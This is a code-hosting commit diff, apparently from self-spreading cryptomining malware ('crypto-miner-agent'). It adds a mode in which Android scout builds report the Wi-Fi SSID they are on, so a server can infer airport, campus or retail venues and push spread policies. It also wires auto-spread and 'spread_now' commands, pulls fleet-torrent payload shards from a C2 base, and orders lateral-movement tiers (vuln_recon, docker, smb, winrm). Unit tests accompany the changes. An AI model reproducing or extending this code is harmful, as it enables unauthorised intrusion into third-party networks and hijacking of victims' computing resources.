Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -101,7 +101,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
return true
|
||||
|
||||
case "spread_now":
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
|
||||
@@ -115,7 +115,7 @@ func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
|
||||
c.sendCommandResult("spread_now", false, reason)
|
||||
return
|
||||
}
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
msg := deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
c.sendCommandResult("spread_now", true, msg)
|
||||
}
|
||||
|
||||
|
||||
@@ -72,6 +72,8 @@ type AgentClient struct {
|
||||
gossipSent map[string]struct{}
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// pendingGraft is a court-approved strain splice applied on the next spread.
|
||||
pendingGraft *GraftPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
@@ -83,6 +85,10 @@ type AgentClient struct {
|
||||
fleetRoleHintVal string
|
||||
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
|
||||
lanSeeders []deploy.LANSeederHint
|
||||
// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
|
||||
fleetTorrentEnabled bool
|
||||
// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
|
||||
subnetPrimarySeeder bool
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
if resp.FleetTorrentEnabled {
|
||||
c.advertiseFleetTorrentHealthy()
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.RunSpreadOnce(c.cfgForSpread())
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "policy_update":
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "graft_policy":
|
||||
c.applyGraftPolicyJSON(msg.Payload)
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
}
|
||||
case "atlas_gossip":
|
||||
c.handleAtlasGossip(msg.Payload)
|
||||
case "fleet_torrent_gossip":
|
||||
c.handleFleetTorrentGossip(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
|
||||
@@ -68,6 +68,7 @@ func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
|
||||
if len(resp.LANSeeders) > 0 {
|
||||
c.setLANSeeders(resp.LANSeeders)
|
||||
}
|
||||
c.applyAuthFleetTorrent(resp)
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
|
||||
|
||||
@@ -49,11 +49,17 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
}
|
||||
if len(resp.EpidemiologyFix) > 0 {
|
||||
c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
|
||||
}
|
||||
if len(resp.SpreadTemperament) > 0 {
|
||||
c.mu.Lock()
|
||||
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if graftPolicyPresent(resp.GraftPolicy) {
|
||||
c.applyGraftPolicyJSON(resp.GraftPolicy)
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
return
|
||||
}
|
||||
@@ -87,9 +93,11 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
@@ -102,5 +110,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
||||
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
if len(policy.SpreadTemperament) > 0 {
|
||||
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
||||
}
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ type FleetPolicyUpdate struct {
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
@@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
applySpreadTemperament(cfg, p.SpreadTemperament)
|
||||
if len(p.SpreadPolicy) > 0 {
|
||||
applySpreadPolicyFields(cfg, p.SpreadPolicy)
|
||||
}
|
||||
}
|
||||
|
||||
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var policy struct {
|
||||
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
return
|
||||
}
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
cfg.HashrateGateHPS = policy.HashrateGateHPS
|
||||
}
|
||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
||||
}
|
||||
|
||||
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
||||
|
||||
@@ -70,11 +70,14 @@ type AuthResponse struct {
|
||||
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
|
||||
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
|
||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
|
||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
|
||||
71
agent/client/scout_constellation_test.go
Normal file
71
agent/client/scout_constellation_test.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestScoutReportPayloadIncludesSSID(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
|
||||
result := deploy.ServiceDiscoverResult{
|
||||
ProbedAt: "2026-06-07T12:00:00Z",
|
||||
Local: deploy.ServiceGraphHost{Host: "127.0.0.1"},
|
||||
}
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
|
||||
|
||||
report := map[string]interface{}{
|
||||
"join_lane": "docker",
|
||||
"service_count": 4,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
raw, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded["ssid"] != "Campus-Guest" {
|
||||
t.Fatalf("ssid=%v", decoded["ssid"])
|
||||
}
|
||||
_ = c
|
||||
}
|
||||
|
||||
func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true, LotlPolicyFromServer: true,
|
||||
LotlOnionTiers: []string{"discover_and_join", "service_graph"},
|
||||
}}}
|
||||
raw, _ := json.Marshal(map[string]interface{}{
|
||||
"scout_constellation": true,
|
||||
"persona_pack": "aggressive",
|
||||
"venue_class": "retail",
|
||||
"spread_temperament": map[string]interface{}{
|
||||
"tier_order": []string{"vuln_recon", "docker", "smb", "winrm"},
|
||||
},
|
||||
})
|
||||
c.applySpreadPolicyJSON(raw)
|
||||
if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" {
|
||||
t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) {
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := deploy.ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty ssid, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() {
|
||||
}
|
||||
|
||||
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
report := map[string]interface{}{
|
||||
"join_lane": joinLane,
|
||||
"service_count": serviceCount,
|
||||
"service_graph": result,
|
||||
"scout_mode": true,
|
||||
})
|
||||
}
|
||||
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
|
||||
report["ssid"] = ssid
|
||||
}
|
||||
payload, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -124,6 +124,11 @@ type BuiltinConfig struct {
|
||||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||||
|
||||
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
|
||||
GraftSourceStrain string
|
||||
GraftTier string
|
||||
GraftApprovedAt string
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||||
@@ -142,6 +147,10 @@ type BuiltinConfig struct {
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
||||
FleetTorrentEnabled bool
|
||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||
SubnetPrimarySeeder bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
@@ -14,15 +14,17 @@ import (
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
@@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
return msg, nil
|
||||
}
|
||||
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
c2 := c2BaseFromPlan(plan)
|
||||
localIP, _ := PrimaryLocalIPv4()
|
||||
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
}
|
||||
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
||||
return em + " (primary lane failed: " + err.Error() + ")", nil
|
||||
}
|
||||
@@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
|
||||
}
|
||||
}
|
||||
|
||||
func c2BaseFromPlan(plan DeployPlanBody) string {
|
||||
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, ref := range plan.ErasurePlan.Shards {
|
||||
u := strings.TrimSpace(ref.URL)
|
||||
if u == "" || !strings.HasPrefix(u, "http") {
|
||||
continue
|
||||
}
|
||||
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
|
||||
return strings.TrimRight(u[:idx], "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
|
||||
@@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint {
|
||||
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
|
||||
}
|
||||
|
||||
// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching.
|
||||
func SubnetFromIP(ip string) string {
|
||||
return subnet24(ip)
|
||||
}
|
||||
|
||||
func subnet24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
|
||||
12
agent/deploy/scout_wifi.go
Normal file
12
agent/deploy/scout_wifi.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports.
|
||||
// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset.
|
||||
func ScoutWiFiSSID() string {
|
||||
return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID"))
|
||||
}
|
||||
17
agent/deploy/scout_wifi_test.go
Normal file
17
agent/deploy/scout_wifi_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScoutWiFiSSIDFromEnv(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ")
|
||||
if got := ScoutWiFiSSID(); got != "Airport-Lounge" {
|
||||
t.Fatalf("ssid=%q", got)
|
||||
}
|
||||
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
|
||||
if got := ScoutWiFiSSID(); got != "" {
|
||||
t.Fatalf("expected empty, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) {
|
||||
tiers = append([]string(nil), config.SeederSpreadLanes...)
|
||||
}
|
||||
log.Printf("[seeder] starting staging lanes: %v", tiers)
|
||||
if config.FleetTorrentEnabled(cfg) {
|
||||
StartFleetTorrentSeederService(cfg)
|
||||
}
|
||||
go runSeederLaneChain(cfg, tiers)
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user